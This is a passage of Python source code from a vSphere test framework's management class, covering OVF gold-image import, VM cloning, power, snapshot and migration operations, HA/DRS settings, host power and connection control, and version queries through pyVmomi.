% goldimage_dir) paths = glob.glob("%s/*.ovf" % goldimage_dir) CHECK_EQ(len(paths), 1, msg=paths) ovf_descriptor = open(paths[0]).read() # Determine the guest OS type. The guest OS type is encoded in the first # component of the goldimage name (<guest_os_type>-<...>). guest_os_type = goldimage_name.split("-")[0] CHECK(guest_os_type in ["unix"], msg=guest_os_type) return self.import_ovf(ovf_str=ovf_descriptor, vmdk_dir=goldimage_dir, vim_datacenter=vim_datacenter, vim_cluster=vim_cluster, vim_datastore=vim_datastore, vim_network=vim_network, vm_name=vm_name, host_name=host_name, guest_os_type=guest_os_type) def import_ovf(self, ovf_str, vmdk_dir, vim_datacenter, vim_cluster, vim_datastore, vim_network, vm_name, host_name=None, guest_os_type="unix", extra_config=None): """ Creates a VM with name 'vm_name' from the given OVF string. If 'host_name' is specified, the VM is created on that node, else a random node is selected. The VM will be created on the datastore 'vim_datastore' on the cluster 'vim_cluster' in the VM folder for 'vim_datastore'. If 'vim_network' is specified, use that network for all network interfaces for the VM. """ if extra_config is None: extra_config = {} CHECK(self.__si is not None) # Create the VM and upload the vmdk files for its virtual disks. vim_import_spec_params = vim.OvfManager.CreateImportSpecParams( diskProvisioning="thin", entityName=vm_name) if vim_network is not None: # We know what network we want to map to, so parse the OVF file and # acquire the network information for mapping. descriptor_result = self.__si.content.ovfManager.ParseDescriptor( ovf_str, pdp=vim.OvfManager.ParseDescriptorParams()) if len(set(n.name for n in descriptor_result.network)) > 1: raise CurieTestException("More than one network included in OVF for " "%s." % vm_name) network_name = descriptor_result.network[0].name log.info("Mapping OVF network %s to cluster network %s", network_name, vim_network.name) net_mapping = vim.OvfManager.NetworkMapping(name=network_name, network=vim_network) vim_import_spec_params.networkMapping = [net_mapping] else: log.info("No network specified in import request. Using default import " "behavior for network mapping.") vim_resource_pool = vim_cluster.resourcePool vim_import_spec_result = self.__si.content.ovfManager.CreateImportSpec( ovf_str, vim_resource_pool, vim_datastore, vim_import_spec_params) vim_import_spec = vim_import_spec_result.importSpec import_spec_warnings = get_optional_vim_attr(vim_import_spec_result, "warning") import_spec_errors = get_optional_vim_attr(vim_import_spec_result, "error") if not vim_import_spec or import_spec_errors: raise CurieTestException( "Unable to create import spec for goldimage OVF: %s" % import_spec_errors) if not get_optional_vim_attr(vim_import_spec_result, "fileItem"): raise CurieTestException( "Malformed result for CreateImportSpec, missing expected attribute " "'fileItem'. Error: %s" % get_optional_vim_attr( vim_import_spec_result, "error")) if import_spec_warnings: log.warning("CreateImportSpec reports warnings: %s", import_spec_warnings) if host_name is not None: vim_hosts = [vim_host for vim_host in vim_cluster.host if vim_host.name == host_name] if len(vim_hosts) == 0: raise CurieTestException("No host with name %s in cluster %s" % (host_name, vim_cluster.name)) CHECK_EQ(len(vim_hosts), 1, msg=host_name) vim_host = vim_hosts[0] else: host_idx = random.randint(0, len(vim_cluster.host) - 1) vim_host = vim_cluster.host[host_idx] vim_lease = vim_resource_pool.ImportVApp(vim_import_spec, folder=vim_datacenter.vmFolder, host=vim_host) vmdk_paths = ["%s/%s" % (vmdk_dir, file_item.path) for file_item in vim_import_spec_result.fileItem] self.__upload_vmdks(vim_lease, vmdk_paths) vim_vm = self.lookup_vm(vim_cluster, vm_name) # Set the guest OS type extraConfig key/val pair. extra_config[CURIE_GUEST_OS_TYPE_KEY] = guest_os_type vim_config_spec = vim.vm.ConfigSpec() for key, value in extra_config.iteritems(): option_value = vim.option.OptionValue(key=key, value=value) vim_config_spec.extraConfig.append(option_value) create_task_func = partial(vim_vm.ReconfigVM_Task, vim_config_spec) pre_task_msg = "Creating VM %s" % vm_name post_task_msg = "Created VM %s" % vm_name task_desc = VsphereTaskDescriptor(pre_task_msg=pre_task_msg, post_task_msg=post_task_msg, create_task_func=create_task_func) TaskPoller.execute_parallel_tasks(task_descriptors=task_desc, max_parallel=1, timeout_secs=600) return vim_vm def clone_vms( self, vim_vm, vim_datacenter, vim_cluster, vim_datastore, vm_names, host_names=(), max_parallel_tasks=None, linked_clone=False): """ Clones 'vm' and creates the VMs with names 'vm_names'. Args: vim_vm (vim.VirtualMachine): Base VM to clone. vim_datacenter (vim.Datacenter): Datacenter containing 'vim_cluster'. vim_cluster (vim.ComputeResource): Cluster hosting 'vim_vm'. vim_datastore (vim.Datastore): DS where clone files will reside. vm_names (list<strings>): List of names to assign the clones. host_names (list<str>): Optional. If provided, a list of host_ids which must be the same length as 'vm_names'. When present, 'vm_names[xx]' will be cloned to 'host_name[xx]'. If not specified, VMs will be cloned to a random host on cluster. max_parallel_tasks (int): The number of VMs to power on in parallel. The default value is FLAGS.vsphere_vcenter_max_parallel_tasks. linked_clone (bool): Whether or not the clones should be "normal" full clones or linked clones. Returns: List of cloned VMs. Raises: CurieTestException if fail to complete clones within the timeout. """ max_parallel_tasks = self._get_max_parallel_tasks(max_parallel_tasks) CHECK(self.__si is not None) # Compute the hosts to place the cloned VMs. if len(host_names) > 0: vim_hosts = self.lookup_hosts(vim_cluster, host_names) else: vim_hosts = [] for _ in xrange(len(vm_names)): host_idx = random.randint(0, len(vim_cluster.host) - 1) vim_host = vim_cluster.host[host_idx] vim_hosts.append(vim_host) if linked_clone: base_snap_name = "clone_base_snap_%s" % uuid4() self.snapshot_vms( vim_cluster=vim_cluster, vm_names=[vim_vm.name], snapshot_names=[base_snap_name]) linked_clone_snapshot = \ self.find_snapshot_vm(vim_vm, base_snap_name).snapshot assert(linked_clone_snapshot is not None) else: linked_clone_snapshot = None # Clone the VMs with bounded parallelism. task_desc_list = [] for xx, (vm_name, vim_host) in enumerate(zip(vm_names, vim_hosts)): create_task_func = \ partial(self.__clone_vm, vim_vm, vm_name, vim_datacenter, vim_datastore, vim_host, linked_clone_snapshot=linked_clone_snapshot) pre_task_msg = "Creating clone %d/%d (%s) of %s" % \ (xx + 1, len(vm_names), vm_name, vim_vm.name) post_task_msg = "Clone %s created" % vm_name task_desc = VsphereTaskDescriptor(pre_task_msg=pre_task_msg, post_task_msg=post_task_msg, create_task_func=create_task_func) task_desc_list.append(task_desc) clone_vm_results = TaskPoller.execute_parallel_tasks( task_descriptors=task_desc_list, max_parallel=max_parallel_tasks, timeout_secs=len(vm_names) * 900) # TODO (jklein): Harmonize the handling of list/map returns. ret = [] for task_desc in task_desc_list: if task_desc.state.status != TaskStatus.kSucceeded: raise CurieTestException("VM clone failed: %s" % task_desc) ret.append(clone_vm_results[task_desc.task_id].result) return ret def power_on_vms(self, vim_cluster, vm_names, max_parallel_tasks=None): """Powers on VMs and verifies that an IP address is assigned. Args: vim_cluster: Cluster object containing the vms. vm_names: List of VM names to power on. max_parallel_tasks int: The number of VMs to power on in parallel. The default value is FLAGS.vsphere_vcenter_max_parallel_tasks. Raises: CurieTestException: VMs fail to acquire an IP address within the timeout. """ max_parallel_tasks = self._get_max_parallel_tasks(max_parallel_tasks) CHECK(self.__si is not None) vim_vms = self.lookup_vms(vim_cluster, vm_names) # Power on the VMs with bounded parallelism. task_desc_list = [] for xx, vim_vm in enumerate(vim_vms): vm_name = vm_names[xx] power_state = vim_vm.runtime.powerState if power_state != vim.VirtualMachine.PowerState.poweredOn: # We don't support VMs that are in a suspended state, so the VM must be # powered off. CHECK_EQ(power_state, vim.VirtualMachine.PowerState.poweredOff) create_task_func = vim_vm.PowerOnVM_Task is_task_complete_func = partial(self.__vm_has_ip, vim_vms[xx]) pre_task_msg = "Powering on VM %d/%d %s" % \ (xx + 1, len(vm_names), vm_name) post_task_msg = "Powered on VM %d/%d %s" % \ (xx + 1, len(vm_names), vm_name) task_desc = VsphereTaskDescriptor( pre_task_msg=pre_task_msg, post_task_msg=post_task_msg, create_task_func=create_task_func, is_complete_func=is_task_complete_func) task_desc_list.append(task_desc) else: log.info("VM %d/%d %s already powered on", xx + 1, len(vm_names), vm_name) TaskPoller.execute_parallel_tasks(task_descriptors=task_desc_list, max_parallel=max_parallel_tasks, timeout_secs=len(vm_names) * 600) def power_off_vms(self, vim_cluster, vm_names, max_parallel_tasks=None): """Powers off VMs. Args: vim_cluster: Cluster object containing the vms. vm_names: List of VM names to power on. max_parallel_tasks int: The number of VMs to power on in parallel. The default value is FLAGS.vsphere_vcenter_max_parallel_tasks. Raises: CurieTestException: VMs fail to power off within the timeout. """ max_parallel_tasks = self._get_max_parallel_tasks(max_parallel_tasks) CHECK(self.__si is not None) vim_vms = self.lookup_vms(vim_cluster, vm_names) # Power off the VMs with bounded parallelism. task_desc_list = [] for xx, (vm_name, vim_vm) in enumerate(zip(vm_names, vim_vms)): power_state = vim_vm.runtime.powerState if power_state != vim.VirtualMachine.PowerState.poweredOff: # We don't support VMs that are in a suspended state, so the VM must be # powered on. CHECK_EQ(power_state, vim.VirtualMachine.PowerState.poweredOn) create_task_func = vim_vm.PowerOffVM_Task pre_task_msg = "Powering off VM %d/%d %s" % \ (xx + 1, len(vm_names), vm_name) post_task_msg = "Powered off VM %d/%d %s" % \ (xx + 1, len(vm_names), vm_name) task_desc = VsphereTaskDescriptor(pre_task_msg=pre_task_msg, post_task_msg=post_task_msg, create_task_func=create_task_func) task_desc_list.append(task_desc) else: log.info("VM %d/%d %s already powered off", xx + 1, len(vm_names), vm_name) TaskPoller.execute_parallel_tasks(task_descriptors=task_desc_list, max_parallel=max_parallel_tasks, timeout_secs=len(vm_names) * 600) def delete_vms(self, vim_cluster, vm_names, ignore_errors=False, max_parallel_tasks=None): """Delete VMs. Args: vim_cluster: Cluster object containing the vms. vm_names: List of VM names to power on. ignore_errors bool: The default value is False which requires all destroy tasks to complete with "success". Set to True to disable this check. max_parallel_tasks int: The number of VMs to power on in parallel. The default value is FLAGS.vsphere_vcenter_max_parallel_tasks. Raises: CurieTestException: - If any VM is not already powered off. - All VMs are not destroyed with in the timeout. - Destroy task fails and ignore_errors is False. """ max_parallel_tasks = self._get_max_parallel_tasks(max_parallel_tasks) CHECK(self.__si is not None) if ignore_errors: desired_state = None else: desired_state = TaskStatus.kSucceeded vim_vms = self.lookup_vms(vim_cluster, vm_names) # Cancel any tasks on the VMs since we're about to destroy the VMs anyway. # If we don't do this, the destroy tasks will potentially have to wait for # existing tasks on the VMs to complete. self.__cancel_entity_tasks(vim_cluster, vm_names) # Delete the VMs with bounded parallelism. task_desc_list = [] for xx, (vm_name, vim_vm) in enumerate(zip(vm_names, vim_vms)): power_state = vim_vm.runtime.powerState # A VM can only be destroyed if it's already powered off. if power_state != vim.VirtualMachine.PowerState.poweredOff: error_msg = "Cannot destroy VM %s in power state %s" % \ (vm_name, power_state) raise CurieTestException(error_msg) create_task_func = vim_vm.Destroy_Task pre_task_msg = "Destroying VM %d/%d %s" % \ (xx + 1, len(vm_names), vm_name) post_task_msg = "Destroyed VM %d/%d %s" % \ (xx + 1, len(vm_names), vm_name) task_desc = VsphereTaskDescriptor(pre_task_msg=pre_task_msg, post_task_msg=post_task_msg, create_task_func=create_task_func, desired_state=desired_state) task_desc_list.append(task_desc) # Note: we use a larger per-VM timeout here for destroying since destroying # goldimage VMs sometimes seems to take quite a bit longer than normal VMs. TaskPoller.execute_parallel_tasks(task_descriptors=task_desc_list, max_parallel=max_parallel_tasks, timeout_secs=len(vm_names) * 600) def find_datastore_paths(self, pattern, vim_datastore, recursive=False): """ Find paths in a datastore that matches the provided pattern. Args: pattern (str): Pattern to match. Example: __curie_goldimage* vim_datastore (vim_datastore object): Datastore to search. recursive (bool): If true, also search subfolders. Returns: (list) of paths in the datastore. """ spec = vim.host.DatastoreBrowser.SearchSpec( query=[vim.host.DatastoreBrowser.FolderQuery()], matchPattern=pattern) if recursive: task = vim_datastore.browser.SearchSubFolders( "[%s]" % vim_datastore.name, spec) WaitForTask(task) search_results = task.info.result else: task = vim_datastore.browser.Search("[%s]" % vim_datastore.name, spec) WaitForTask(task) search_results = [task.info.result] paths = [] for search_result in search_results: for fileinfo in search_result.file: paths.append(search_result.folderPath + fileinfo.path) return paths def delete_datastore_folder_path(self, folder_path, vim_datacenter): fm = self.__si.content.fileManager delete_path_func = partial(fm.DeleteDatastoreFile_Task, name=folder_path, datacenter=vim_datacenter) pre_task_msg = "Deleting '%s'" % folder_path post_task_msg = "Deleted '%s'" % folder_path task_desc = VsphereTaskDescriptor(pre_task_msg=pre_task_msg, post_task_msg=post_task_msg, create_task_func=delete_path_func) TaskPoller.execute_parallel_tasks(task_descriptors=task_desc, max_parallel=1, timeout_secs=600) def snapshot_vms(self, vim_cluster, vm_names, snapshot_names, snapshot_descriptions=(), max_parallel_tasks=None): """ For each VM with name 'vm_names[xx]' on the cluster 'vim_cluster', creates a snapshot with snapshot name 'snapshot_names[xx]' and optional description 'snapshot_descriptions[xx]'. Args: vim_cluster: Cluster object containing the vms. vm_names: List of VM names to power on. snapshot_descriptions list or tuple of descriptions (optional): If non-empty, snapshot descriptions must be specified for all snapshots being created. max_parallel_tasks int: The number of VMs to power on in parallel. The default value is FLAGS.vsphere_vcenter_max_parallel_tasks. Raises: CurieTestException: Snapshots are not created within the timeout. """ max_parallel_tasks = self._get_max_parallel_tasks(max_parallel_tasks) CHECK_EQ(len(vm_names), len(snapshot_names)) CHECK(len(snapshot_descriptions) == 0 or len(snapshot_descriptions) == len(snapshot_names)) vim_vms = self.lookup_vms(vim_cluster, vm_names) # Snapshot the VMs with bounded parallelism. task_desc_list = [] for xx, vm_name in enumerate(vm_names): vim_vm = vim_vms[xx] if len(snapshot_descriptions) > 0: snapshot_description = snapshot_descriptions[xx] else: snapshot_description = "" create_task_func = partial(vim_vm.CreateSnapshot, name=snapshot_names[xx], description=snapshot_description, memory=False, quiesce=False) pre_task_msg = "Creating snapshot of VM %s with name %s" % \ (vim_vm.name, snapshot_names[xx]) post_task_msg = "Created snapshot of VM %s with name %s" % \ (vim_vm.name, snapshot_names[xx]) task_desc = VsphereTaskDescriptor(pre_task_msg=pre_task_msg, post_task_msg=post_task_msg, create_task_func=create_task_func) task_desc_list.append(task_desc) TaskPoller.execute_parallel_tasks(task_descriptors=task_desc_list, max_parallel=max_parallel_tasks, timeout_secs=len(vm_names) * 600) def find_snapshot_vm(self, vim_vm, snapshot_name): """ Find a snapshot for a VM if present. Args: vim_vm (vim.VM): vim object for a VM to search snapshot tree. snapshot_name (string): Name of the snapshot to try and find. Returns: The snapshot object if the snapshot is found, otherwise None is returned. """ def __recursively_find_snapshot(snapshots, snapshot_name): for snapshot in snapshots: if snapshot.name == snapshot_name: return snapshot elif len(snapshot.childSnapshotList) > 0: rval = __recursively_find_snapshot(snapshot.childSnapshotList, snapshot_name) if rval is not None: return rval return None return __recursively_find_snapshot(vim_vm.snapshot.rootSnapshotList, snapshot_name) def migrate_vms(self, vim_vms, vim_hosts, max_parallel_tasks=None): """ Move 'vim_vms' to 'vim_hosts'. (VMotion) Args: vim_vms (list<vim.VirtualMachine>): vim VMs to move. vim_hosts (list<vim.Host>): vim Hosts to move Vim VMs to. max_parallel_tasks (int): The number of VMs to migrate in parallel. The default value is FLAGS.vsphere_vcenter_max_parallel_tasks. """ max_parallel_tasks = self._get_max_parallel_tasks(max_parallel_tasks) task_desc_list = [] for vim_vm, vim_host in zip(vim_vms, vim_hosts): create_task_func = partial( vim_vm.MigrateVM_Task, host=vim_host, priority=vim.VirtualMachine.MovePriority.highPriority) pre_task_msg = "Moving VM: %s to Host: %s" % (vim_vm.name, vim_host.name) post_task_msg = "Moved VM: %s to Host: %s" % (vim_vm.name, vim_host.name) task_desc = VsphereTaskDescriptor(pre_task_msg=pre_task_msg, post_task_msg=post_task_msg, create_task_func=create_task_func) task_desc_list.append(task_desc) TaskPoller.execute_parallel_tasks(task_descriptors=task_desc_list, max_parallel=max_parallel_tasks, timeout_secs=len(vim_vms) * 1200) def relocate_vms_datastore( self, vim_vms, vim_datastores, max_parallel_tasks=None): """ Relocate 'vim_vms' to 'vim_datastores'. (Storage VMotion) Args: vim_vms (list<vim.VirtualMachine>): vim VMs to move. vim_datastores (list<vim.Datastore>): vim Datastores to move Vim VMs to. max_parallel_tasks (int): The number of VMs to relocate in parallel. The default value is FLAGS.vsphere_vcenter_max_parallel_tasks. """ max_parallel_tasks = self._get_max_parallel_tasks(max_parallel_tasks) task_desc_list = [] for vim_vm, vim_datastore in zip(vim_vms, vim_datastores): vim_relocate_spec = vim.vm.RelocateSpec() vim_relocate_spec.datastore = vim_datastore pre_task_msg = "Moving VM: %s to Datastore: %s" % ( vim_vm.name, vim_datastore.name) post_task_msg = "Moved VM: %s to Datastore: %s" % ( vim_vm.name, vim_datastore.name) create_task_func = partial( vim_vm.RelocateVM_Task, spec=vim_relocate_spec, priority=vim.VirtualMachine.MovePriority.highPriority) task_desc = VsphereTaskDescriptor(pre_task_msg=pre_task_msg, post_task_msg=post_task_msg, create_task_func=create_task_func) task_desc_list.append(task_desc) TaskPoller.execute_parallel_tasks(task_descriptors=task_desc_list, max_parallel=max_parallel_tasks, timeout_secs=len(vim_vms) * 1200) def disable_ha_vms(self, vim_cluster, vim_vms): """ Disable HA on all the vim_vms in vim_cluster. Args: vim_cluster (vim.Cluster): Cluster object containing the vms. vim_vms: (list<vim.VirtualMachine>): vim VMs on which to disable HA. """ # https://github.com/rreubenur/vmware-pyvmomi-examples/blob/master/disable_HA_on_particular_VM.py config_specs = [] cluster_spec = vim.cluster.ConfigSpecEx() for vm in vim_vms: das_vm_config_spec = vim.cluster.DasVmConfigSpec() das_vm_config_info = vim.cluster.DasVmConfigInfo() das_vm_settings = vim.cluster.DasVmSettings() das_vm_settings.restartPriority = \ vim.ClusterDasVmSettingsRestartPriority.disabled das_vm_monitor = vim.cluster.VmToolsMonitoringSettings() das_vm_monitor.vmMonitoring = \ vim.cluster.DasConfigInfo.VmMonitoringState.vmMonitoringDisabled das_vm_monitor.clusterSettings = False das_vm_settings.vmToolsMonitoringSettings = das_vm_monitor das_vm_config_info.key = vm das_vm_config_info.dasSettings = das_vm_settings das_vm_config_spec.info = das_vm_config_info # The operation depends on the current setting for the VM. If there is # already a setting, it has to be edited, otherwise added. We expect to # only add settings since we're creating VMs. for config_entry in vim_cluster.configuration.dasVmConfig: if config_entry.key == vm: das_vm_config_spec.operation = \ vim.option.ArrayUpdateSpec.Operation.edit break else: das_vm_config_spec.operation = vim.option.ArrayUpdateSpec.Operation.add config_specs.append(das_vm_config_spec) cluster_spec.dasVmConfigSpec = config_specs reconfig_cluster_func = partial( vim_cluster.ReconfigureComputeResource_Task, spec=cluster_spec, modify=True) pre_task_msg = "Disabling HA for VMs on cluster %s" % vim_cluster.name post_task_msg = "Disabled HA for VMs on cluster %s" % vim_cluster.name task_desc = VsphereTaskDescriptor(pre_task_msg=pre_task_msg, post_task_msg=post_task_msg, create_task_func=reconfig_cluster_func) TaskPoller.execute_parallel_tasks(task_descriptors=task_desc, max_parallel=1, timeout_secs=600) def disable_drs_vms(self, vim_cluster, vim_vms): """ Disable DRS on all the vim_vms in vim_cluster. Args: vim_cluster (vim.Cluster): Cluster object containing the vms. vim_vms: (list<vim.VirtualMachine>): vim VMs on which to disable DRS. Raises: CurieTestException if DRS configuration for cluster does not allow for per-vm overrides. """ if not vim_cluster.configuration.drsConfig.enableVmBehaviorOverrides: raise CurieTestException("Per-VM DRS configuration is not allowed. " "Enable VM overrides in cluster DRS " "configuration or disable DRS.") config_specs = [] cluster_spec = vim.cluster.ConfigSpecEx() for vm in vim_vms: drs_vm_config_spec = vim.cluster.DrsVmConfigSpec() drs_vm_config_info = vim.cluster.DrsVmConfigInfo() drs_vm_config_info.key = vm drs_vm_config_info.enabled = False drs_vm_config_spec.info = drs_vm_config_info # The operation depends on the current setting for the VM. If there is # already a setting, it has to be edited, otherwise added. We expect to # only add settings since we're creating VMs. for config_entry in vim_cluster.configuration.drsVmConfig: if config_entry.key == vm: drs_vm_config_spec.operation = \ vim.option.ArrayUpdateSpec.Operation.edit break else: drs_vm_config_spec.operation = vim.option.ArrayUpdateSpec.Operation.add config_specs.append(drs_vm_config_spec) cluster_spec.drsVmConfigSpec = config_specs reconfig_cluster_func = partial( vim_cluster.ReconfigureComputeResource_Task, spec=cluster_spec, modify=True) pre_task_msg = "Disabling DRS for %d X-Ray VMs on cluster %s" % ( len(vim_vms), vim_cluster.name) post_task_msg = "Disabled DRS for %d X-Ray VMs on cluster %s" % ( len(vim_vms), vim_cluster.name) task_desc = VsphereTaskDescriptor(pre_task_msg=pre_task_msg, post_task_msg=post_task_msg, create_task_func=reconfig_cluster_func) TaskPoller.execute_parallel_tasks(task_descriptors=task_desc, max_parallel=1, timeout_secs=600) def power_off_hosts(self, vim_cluster, vim_hosts, timeout_secs): """ Power off 'vim_hosts' on 'vim_cluster' via the managing vCenter. NB: Although this method waits for the vim tasks to complete, it is essentially asynchronous. The vim tasks do not block until the host has actually powered off, only until the power off request is acknowledged. Args: vim_cluster (vim.ClusterComputeResource): Cluster to which 'nodes' belong. vim_hosts (list<vim.HostSystem>): List of hosts to power off. timeout_secs (int): Timeout in seconds for all nodes to complete their power off tasks. Raises: CurieTestException (dodged) if all nodes do not complete their power off tasks within 'timeout_secs'. """ task_desc_list = [] for vim_host in vim_hosts: task_desc_list.append(VsphereTaskDescriptor( pre_task_msg="Shutting down '%s' in cluster '%s' via vCenter" % (vim_host.name, vim_cluster.name), post_task_msg="Successfully shut down '%s' in cluster '%s' via vCenter" % (vim_host.name, vim_cluster.name), create_task_func=partial(vim_host.Shutdown, force=True))) TaskPoller.execute_parallel_tasks( task_descriptors=task_desc_list, max_parallel=FLAGS.vsphere_vcenter_max_parallel_tasks, timeout_secs=len(vim_hosts) * timeout_secs) def disconnect_hosts(self, vim_hosts, timeout_secs=60): """ Disconnect 'vim_hosts' from vCenter. Args: vim_hosts (list<vim.HostSystem>) vim objects for hosts to reconnect. timeout_secs (number): Optional. Timeout for disconnect tasks. """ CHECK_GT(timeout_secs, 0, msg="'timeout_secs' must be greater than zero") to_disconnect_host_id_set = set([vim_host.name for vim_host in vim_hosts]) # NB: If host is already disconnected, a disconnect task will fail with a # vim.fault.InvalidState error. We'll log a warning and continue, as # reconnects may still succeed. # NB: If the host state is, e.g., host.runtime.powerState = 'unknown', the # Disconnect is expected to fail. However, a Reconnect may still succeed. log.info("Disconnecting '%s'", ", ".join(to_disconnect_host_id_set)) try: host_id_task_desc_map = self.__disconnect_hosts(vim_hosts, timeout_secs) except CurieTestException: log.warning("Disconnect task timed out on '%s'", ", ".join(to_disconnect_host_id_set)) else: for host_id, task_desc in host_id_task_desc_map.items(): if task_desc.state.status != TaskStatus.kSucceeded: log.warning("Disconnect task was unsuccessful on '%s': '%s'. ", task_desc.entity_name, task_desc.state.status) else: log.info("Successfully disconnected host '%s'", host_id) to_disconnect_host_id_set.remove(host_id) if not to_disconnect_host_id_set: log.info("Successfully disconnected all provided hosts") else: log.warning("Unable to disconnect '%s'. Reconnect tasks may still " "succeed", ", ".join(to_disconnect_host_id_set)) def reconnect_hosts(self, vim_hosts, timeout_secs=60): """ Reconnect 'vim_hosts' to vCenter. Args: vim_hosts (list<vim.HostSystem>) vim objects for hosts to reconnect. timeout_secs (number): Optional. Timeout for reconnect tasks. """ CHECK_GT(timeout_secs, 0, msg="'attempt_timeout_secs' must be greater than zero") to_reconnect_host_id_set = set([vim_host.name for vim_host in vim_hosts]) try: host_id_task_desc_map = self.__reconnect_hosts(vim_hosts, timeout_secs) except CurieTestException: log.warning("Reconnect task timed out on '%s'", ", ".join(to_reconnect_host_id_set)) else: for host_id, task_desc in host_id_task_desc_map.items(): if task_desc.state.status != TaskStatus.kSucceeded: log.warning("Reconnect task was unsuccessful on '%s': '%s'. ", task_desc.entity_name, task_desc.state.status) else: log.info("Successfully reconnected host '%s'", host_id) to_reconnect_host_id_set.remove(host_id) if not to_reconnect_host_id_set: log.info("Successfully reconnected all provided hosts") else: log.error("Unable to reconnect '%s'", ", ".join(to_reconnect_host_id_set)) def reload_hosts(self, vim_hosts): """ Reload 'vim_hosts' in vCenter. Args: vim_hosts (list<vim.HostSystem>) vim objects for hosts to reconnect. """ for host in vim_hosts: log.debug("Reloading host '%s'", host.name) # This call returns None, no task object or status is available. host.Reload() def refresh_datastores(self, vim_cluster): """ Refreshes datastores state for all nodes in 'vim_cluster' in vCenter. This is necessary in case changes have been made directly on ESX nodes and the ESX nodes fail to synchronize this state with vCenter. Args: vim_cluster (vim.ClusterComputeResource): vSphere cluster. """ for xx, vim_host in enumerate(vim_cluster.host): vim_storage_system = get_optional_vim_attr(vim_host.configManager, "storageSystem") if vim_storage_system is None: error_msg = "Missing storageSystem on node %s" % vim_host.name raise CurieTestException(error_msg) # Note: RefreshStorageSystem() is asynchronous and that it does not # return a vim Task. log.info("Asynchronously refreshing datastores on node %d/%d %s on %s", xx + 1, len(vim_cluster.host), vim_host.name, vim_cluster.name) vim_host.configManager.storageSystem.RefreshStorageSystem() def is_ha_enabled(self, vim_cluster): """ Checks whether 'vim_cluster' has HA enabled. Returns: (bool) True if HA is enabled, else False. Args: vim_cluster (vim.ClusterComputeResource): vSphere cluster. """ ha_config = vim_cluster.configurationEx.dasConfig return get_optional_vim_attr(ha_config, "enabled") == True def is_drs_enabled(self, vim_cluster): """ Checks whether 'vim_cluster' has DRS enabled. Returns: (bool) True if DRS is enabled, else False. Args: vim_cluster (vim.ClusterComputeResource): vSphere cluster. """ drs_config = vim_cluster.configurationEx.drsConfig return get_optional_vim_attr(drs_config, "enabled") == True @classmethod def get_vsan_version(cls, vim_cluster): """Queries host CIM endpoint to determine VSAN vib version. Args: vim_cluster (vim.ClusterComputeResource): cluster to determine version of VSAN running on its nodes. Returns: (str): VSAN versions for the cluster nodes. If the VSAN version can't be determined, returns None """ for vim_host in vim_cluster.host: sid = vim_host.AcquireCimServicesTicket() cim = WBEMConnection("https://%s" % vim_host.name, (sid, sid), no_verification=True) try: for ident in cim.EnumerateInstances("CIM_SoftwareIdentity"): if ident["ElementName"] == "vsan": return ident["VersionString"] except Exception as exc: raise CurieException( CurieError.kInternalError, "Unable to query CIM endpoint for VSAN data: %s" % exc) return None @classmethod def get_esx_versions(cls, vim_cluster, nodes=None): """ Determine the versions and build numbers for ESX on the cluster nodes. Args: vim_cluster (vim.ClusterComputeResource): cluster to determine version of ESX running on its nodes. nodes (list<CurieSettings.Node>): If provided, a subset of the cluster's nodes whose information to return. Returns: list<(str, str)>: list of tuples containing ESX version and build strings for the cluster nodes. If the ESX version and build string for a node can't be determined, we use ("", ""). """ esx_version_build_pairs = [] node_id_vim_host_map = dict((vim_host.name, vim_host) for vim_host in vim_cluster.host) node_ids = [n.id for n in nodes] if nodes else [h.name for h in vim_cluster.host] for node_id in node_ids: vim_host = node_id_vim_host_map.get(node_id) CHECK(vim_host, msg="Unable to locate vim host object for %s" % node_id) esx_version_build_pairs.append( cls.get_esx_versions_for_vim_host(vim_host)) log.info("Cluster %s node ESX versions %s", vim_cluster.name, esx_version_build_pairs) return esx_version_build_pairs @classmethod def get_esx_versions_for_vim_host(cls, vim_host): """ Returns: (str, str) ESX version string, ESX build string for 'vim_host' on success, ("", "") if unable to access the 'config' key on the vim_host. """ vim_host_config = get_optional_vim_attr(vim_host, "config") if vim_host_config is None: log.warning("Could not get config for node %s", vim_host.name) return ("", "") return (vim_host_config.product.version, vim_host_config.product.build) def get_vcenter_version_info(self): return self.__si.content.about.version, self.__si.content.about.build def _get_max_parallel_tasks(self, arg): return FLAGS.vsphere_vcenter_max_parallel_tasks if arg is None else arg def __upload_vmdks(self, vim_lease, vmdk_paths): """ Upload the VM's virtual disks with paths 'vmdk_paths' using the URLs from 'vim_lease'. Reference: ImportVApp in the vSphere API documentation. """ # Note: the code in this method is based on diagnostics.py. t1 = time.time() progress = 0 while True: if vim_lease.state == vim.HttpNfcLease.State.ready: device_urls_orig = vim_lease.info.deviceUrl # deviceUrl in VSAN 6.7/ESXi 6.7 has extra nvram non disk entry # which should not be taken into account to upload vmdks. # Example of the output is below: # # (vim.HttpNfcLease.DeviceUrl) [ # (vim.HttpNfcLease.DeviceUrl) { # dynamicType = <unset>, # dynamicProperty = (vmodl.DynamicProperty) [], # key = '/vm-67/VirtualLsiLogicController0:0', # importKey = '/__curie_goldimage_4183265716850586767_ubuntu1604_group_0/VirtualLsiLogicController0:0', # url = 'https://10.60.5.201/nfc/525216e6-797f-a03f-9b45-45cb9ea0f0d9/disk-0.vmdk', # sslThumbprint = 'BE:70:F9:C0:E4:84:D3:BA:EA:C2:DE:86:99:AC:7F:D9:60:7E:A6:09', # disk = true, # targetId = 'disk-0.vmdk', # datastoreKey = 'https://10.60.5.201/nfc/525216e6-797f-a03f-9b45-45cb9ea0f0d9/', # fileSize = <unset> # }, # (vim.HttpNfcLease.DeviceUrl) { # dynamicType = <unset>, # dynamicProperty = (vmodl.DynamicProperty) [], # key = '/vm-67/nvram', # importKey = '/__curie_goldimage_4183265716850586767_ubuntu1604_group_0/nvram', # url = 'https://10.60.5.201/nfc/525216e6-797f-a03f-9b45-45cb9ea0f0d9/disk-1.nvram', # sslThumbprint = 'BE:70:F9:C0:E4:84:D3:BA:EA:C2:DE:86:99:AC:7F:D9:60:7E:A6:09', # disk = false, # targetId = <unset>, # datastoreKey = <unset>, # fileSize = <unset> # } # ] device_urls = [x for x in device_urls_orig if x.disk == True] CHECK_EQ(len(vmdk_paths), len(device_urls), msg="%s %s" % (vmdk_paths, device_urls)) for xx in xrange(len(device_urls)): progress = int(float(xx)/float(len(device_urls))) vmdk_path = vmdk_paths[xx] target_url = device_urls[xx].url.replace("*", self.__host) log.info("Uploading vmdk %d/%d %s", xx + 1, len(vmdk_paths), vmdk_path) upload_thread = threading.Thread( target=self.__upload_vmdk, args=(vmdk_path, target_url)) upload_thread.start() upload_t1 = time.time() thread_alive = True while thread_alive: vim_lease.HttpNfcLeaseProgress(progress) upload_thread.join(10) thread_alive = upload_thread.isAlive() 